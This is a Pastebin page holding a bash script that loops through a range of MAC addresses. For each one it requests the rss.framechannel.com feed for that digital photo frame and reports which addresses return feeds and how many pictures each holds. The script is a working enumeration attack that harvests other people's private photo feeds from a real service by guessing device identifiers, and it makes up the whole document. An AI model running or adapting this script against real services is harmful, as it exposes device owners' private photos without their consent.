Guest User

Untitled

a guest
Jan 5th, 2010
634
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /bin/bash
  2.  
  3.  
  4. urlPrefix='http://rss.framechannel.com//productId=KD9371/'
  5.  
  6. # Values in hex (for readability) -- assumes six parts
  7. hexRangeMin=( 00 23 4D B8 06 60 )
  8. hexRangeMax=( 00 23 4D B8 07 6F ) # Individual parts must be > than min
  9.  
  10. # Convert hex ranges
  11. intRangeMin0="`printf '%d' 0x${hexRangeMin[0]}`"
  12. intRangeMin1="`printf '%d' 0x${hexRangeMin[1]}`"
  13. intRangeMin2="`printf '%d' 0x${hexRangeMin[2]}`"
  14. intRangeMin3="`printf '%d' 0x${hexRangeMin[3]}`"
  15. intRangeMin4="`printf '%d' 0x${hexRangeMin[4]}`"
  16. intRangeMin5="`printf '%d' 0x${hexRangeMin[5]}`"
  17.  
  18. intRangeMax0="`printf '%d' 0x${hexRangeMax[0]}`"
  19. intRangeMax1="`printf '%d' 0x${hexRangeMax[1]}`"
  20. intRangeMax2="`printf '%d' 0x${hexRangeMax[2]}`"
  21. intRangeMax3="`printf '%d' 0x${hexRangeMax[3]}`"
  22. intRangeMax4="`printf '%d' 0x${hexRangeMax[4]}`"
  23. intRangeMax5="`printf '%d' 0x${hexRangeMax[5]}`"
  24.  
  25.  
  26. # Assume we have all six parts, go!
  27. for part0 in $(seq $intRangeMin0 $intRangeMax0); do
  28.     for part1 in $(seq $intRangeMin1 $intRangeMax1); do
  29.         for part2 in $(seq $intRangeMin2 $intRangeMax2); do
  30.             for part3 in $(seq $intRangeMin3 $intRangeMax3); do
  31.                 for part4 in $(seq $intRangeMin4 $intRangeMax4); do
  32.                     for part5 in $(seq $intRangeMin5 $intRangeMax5); do
  33.                         mac="`printf "%02X:%02X:%02X:%02X:%02X:%02X" $part0 $part1 $part2 $part3 $part4 $part5`"
  34.                         file="frameId=$mac"
  35.  
  36.                         echo -n "Trying $file... "
  37.                         wget -q $urlPrefix$file
  38.  
  39.                         # Did we get a hit?
  40.                         if [ "`cat $file | grep '^<title>FrameChannel content for </title>$'`" ]; then
  41.                             echo 'failed.'
  42.                         else
  43.                             count="`cat $file | grep '^<item>' -c`"
  44.                             echo "$urlPrefix$file with $count pictures."
  45.                         fi
  46.  
  47.                         # Clean up
  48.                         rm $file;
  49.                     done
  50.                 done
  51.             done
  52.         done
  53.     done
  54. done
RAW Paste Data